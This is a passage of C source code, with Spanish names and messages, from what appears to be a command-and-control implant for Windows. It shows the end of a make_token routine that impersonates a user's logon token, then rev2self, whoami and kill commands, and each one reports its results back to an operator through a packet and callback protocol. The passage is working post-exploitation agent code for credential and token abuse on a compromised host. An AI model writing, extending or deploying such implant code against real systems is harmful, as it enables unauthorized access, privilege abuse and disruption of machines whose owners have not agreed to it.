    HANDLE hProcessToken = NULL;
    char account_name[512] = {0};
    if (OpenProcessToken(hCurrentProcess, TOKEN_QUERY, &hProcessToken)) {
        obtenerNombreDelToken(hCurrentProcess, account_name, sizeof(account_name));
        CloseHandle(hProcessToken);
    }
    CloseHandle(hCurrentProcess);
    
    if (account_name[0] == '\0') {
        // Ensure domain and user are valid before using them
        const char* domain_safe = domain ? domain : "";
        const char* user_safe = user ? user : "";
        snprintf(account_name, sizeof(account_name), "%s\\%s", domain_safe, user_safe);
    }
    
    // Update global impersonation context
    setImpersonationContext(account_name);
    _inf("[make_token] Contexto de impersonación actualizado: %s", account_name);
    
    // Generate token_id (simple hash of user+domain)
    // Use existing domain_len and user_len variables (they were set by getString)
    // If needed, recalculate lengths using strlen for actual string length (not buffer length)
    SIZE_T actual_user_len = user ? strlen(user) : 0;
    SIZE_T actual_domain_len = domain ? strlen(domain) : 0;
    UINT32 token_id = 1000 + (UINT32)(actual_user_len + actual_domain_len); // Simple ID generation
    
    char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0};
    DWORD hostname_len = sizeof(hostname);
    GetComputerNameA(hostname, &hostname_len);
    
    PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuestaFinal, tareaUuid, FALSE);
    PPaquete salidaFinal = nuevoPaquete(0, FALSE);
    PackageAddFormatPrintf(salidaFinal, FALSE, "[make_token] Token creado e impersonado exitosamente: %s (Token ID: %lu)\n", account_name, token_id);
    addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
    
    // Add artifact for token creation
    char artifact_msg[512] = {0};
    const char* domain_safe = domain ? domain : "";
    const char* user_safe = user ? user : "";
    snprintf(artifact_msg, sizeof(artifact_msg), "New Logon: User: %s\\%s (LogonType: %lu)", domain_safe, user_safe, logon_type);
    addArtifact(respuestaFinal, "Token Creation", artifact_msg);
    
    // Add callback context with impersonation_context
    addCallbackContext(respuestaFinal, "impersonation_context", account_name);
    
    // Register token with callback
    addCallbackToken(respuestaFinal, "add", hostname, token_id);
    
    mandarPaquete(respuestaFinal);
    liberarPaquete(salidaFinal);
    liberarPaquete(respuestaFinal);
    
    LocalFree(domain);
    LocalFree(user);
    LocalFree(password);
}

/**
 * @brief Revert token impersonation back to original
 */
VOID RevertirToken(PAnalizador argumentos) {
    SIZE_T tamanoUuid = 36;
    UINT32 nbArg = getInt32(argumentos);
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    
    if (gImpersonationToken) {
        RevertToSelf();
        CloseHandle(gImpersonationToken);
        gImpersonationToken = NULL;
        
        // Clear global impersonation context
        clearImpersonationContext();
        _inf("[rev2self] Contexto de impersonación limpiado");
        
        PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuesta, tareaUuid, FALSE);
        PPaquete salida = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salida, FALSE, "[rev2self] Token revertido exitosamente\n");
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        
        // Add callback context with empty impersonation_context to clear it
        addCallbackContext(respuesta, "impersonation_context", "");
        
        mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(respuesta);
    } else {
        PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuesta, tareaUuid, FALSE);
        PPaquete salida = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salida, FALSE, "[rev2self] No hay token impersonado para revertir\n");
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(respuesta);
    }
}

/**
 * @brief Get current user context (whoami)
 * Shows the current thread's impersonated user, or process user if not impersonated
 * This is useful to verify that steal_token/make_token worked correctly
 */
VOID ObtenerUsuarioActual(PAnalizador argumentos) {
    SIZE_T tamanoUuid = 36;
    UINT32 nbArg = getInt32(argumentos);
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuesta, tareaUuid, FALSE);
    PPaquete salida = nuevoPaquete(0, FALSE);
    
    HANDLE hToken = NULL;
    char user_info[512] = {0};
    BOOL got_user = FALSE;
    
    // Try to get thread token first (if impersonated)
    if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)) {
        _inf("[whoami] Usando thread token (impersonado)");
        got_user = IdentityGetUserInfo(hToken, user_info, sizeof(user_info));
        CloseHandle(hToken);
    } else {
        DWORD error = GetLastError();
        if (error == ERROR_NO_TOKEN) {
            // No thread token, try process token
            _inf("[whoami] No hay thread token, usando process token");
            if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
                got_user = IdentityGetUserInfo(hToken, user_info, sizeof(user_info));
                CloseHandle(hToken);
            } else {
                _wrn("[whoami] No se pudo abrir process token. Código: %lu", GetLastError());
            }
        } else {
            _wrn("[whoami] Error abriendo thread token. Código: %lu", error);
        }
    }
    
    if (got_user && strlen(user_info) > 0) {
        PackageAddFormatPrintf(salida, FALSE, "%s\n", user_info);
    } else {
        PackageAddFormatPrintf(salida, FALSE, "[whoami] Error: No se pudo obtener información del usuario\n");
    }
    
    addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    mandarPaquete(respuesta);
    liberarPaquete(salida);
    liberarPaquete(respuesta);
}

/**
 * @brief Kill a process by PID
 * Terminates a process using TerminateProcess API
 */
VOID MatarProceso(PAnalizador argumentos) {
    // For input_type=string commands, format is: [UUID:length_prefixed][nbArg:4][param1:length_prefixed]...
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    UINT32 nbArg = getInt32(argumentos);
    
    if (nbArg < 1) {
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: Se requiere PID\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // PID comes as a string parameter (input_type=string means all params are strings)
    SIZE_T pid_len = 0;
    PCHAR pid_str = getString(argumentos, &pid_len);
    
    // Convert PID string to integer
    UINT32 pid = 0;
    if (pid_str && pid_len > 0) {
        // Null-terminate the PID string for atoi
        char pid_null_term[16] = {0};
        SIZE_T copy_len = pid_len < sizeof(pid_null_term) - 1 ? pid_len : sizeof(pid_null_term) - 1;
        memcpy(pid_null_term, pid_str, copy_len);
        pid_null_term[copy_len] = '\0';
        pid = (UINT32)atoi(pid_null_term);
    }
    
    if (pid == 0) {
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: PID inválido o es 0\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Don't allow killing critical system processes (PIDs 0, 4, 8)
    if (pid <= 4 || pid == 8) {
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: No se puede matar procesos críticos del sistema (PID: %lu)\n", pid);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // First, verify process exists using PROCESS_QUERY_INFORMATION
    _inf("[kill] Intentando matar proceso PID %lu", pid);
    HANDLE hCheck = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
    if (!hCheck) {
        DWORD checkError = GetLastError();
        _err("[kill] Proceso PID %lu no existe (verificación inicial falló, error: %lu)", pid, checkError);
        
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: El proceso PID %lu no existe o ya terminó (error: %lu)\n", pid, checkError);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    _inf("[kill] Proceso PID %lu existe, verificando acceso de terminación...", pid);
    CloseHandle(hCheck);
    
    // Open process with PROCESS_TERMINATE access
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
    if (!hProcess) {
        DWORD error = GetLastError();
        _err("[kill] OpenProcess(PROCESS_TERMINATE) falló para PID %lu, error: %lu", pid, error);
        
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        
        // Provide more specific error messages
        if (error == ERROR_INVALID_PARAMETER || error == 87) {
            PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: El proceso PID %lu no existe o ya terminó (error: %lu)\n", pid, error);
        } else if (error == ERROR_ACCESS_DENIED || error == 5) {
            PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: Acceso denegado al proceso PID %lu. Se requieren privilegios de administrador (error: %lu)\n", pid, error);
        } else {
            PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: No se pudo abrir el proceso PID %lu, error: %lu\n", pid, error);
        }
        
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    _inf("[kill] Proceso PID %lu abierto con éxito, terminando...", pid);
    // Terminate the process
    BOOL success = TerminateProcess(hProcess, 1);  // Exit code 1
    DWORD terminateError = GetLastError();
    CloseHandle(hProcess);
    
    if (!success) {
        _err("[kill] TerminateProcess falló para PID %lu, error: %lu", pid, terminateError);
    } else {
        _inf("[kill] TerminateProcess ejecutado exitosamente para PID %lu", pid);
    }
    
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuesta, tareaUuid, FALSE);
    PPaquete salida = nuevoPaquete(0, FALSE);
    
    if (success) {
        PackageAddFormatPrintf(salida, FALSE, "[kill] Proceso PID %lu terminado exitosamente\n", pid);
    } else {
        DWORD error = GetLastError();
        PackageAddFormatPrintf(salida, FALSE, "[kill] Error al terminar proceso PID %lu, error: %lu\n", pid, error);
    }
    
    // Add output first (parser expects UUID -> output -> artifacts)
    addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Add artifact for process termination AFTER output
    if (success) {
        char artifact_msg[256] = {0};
        snprintf(artifact_msg, sizeof(artifact_msg), "Process Termination: PID %lu", pid);
        addArtifact(respuesta, "Process Termination", artifact_msg);
    }
    mandarPaquete(respuesta);
    liberarPaquete(salida);
    liberarPaquete(respuesta);
}

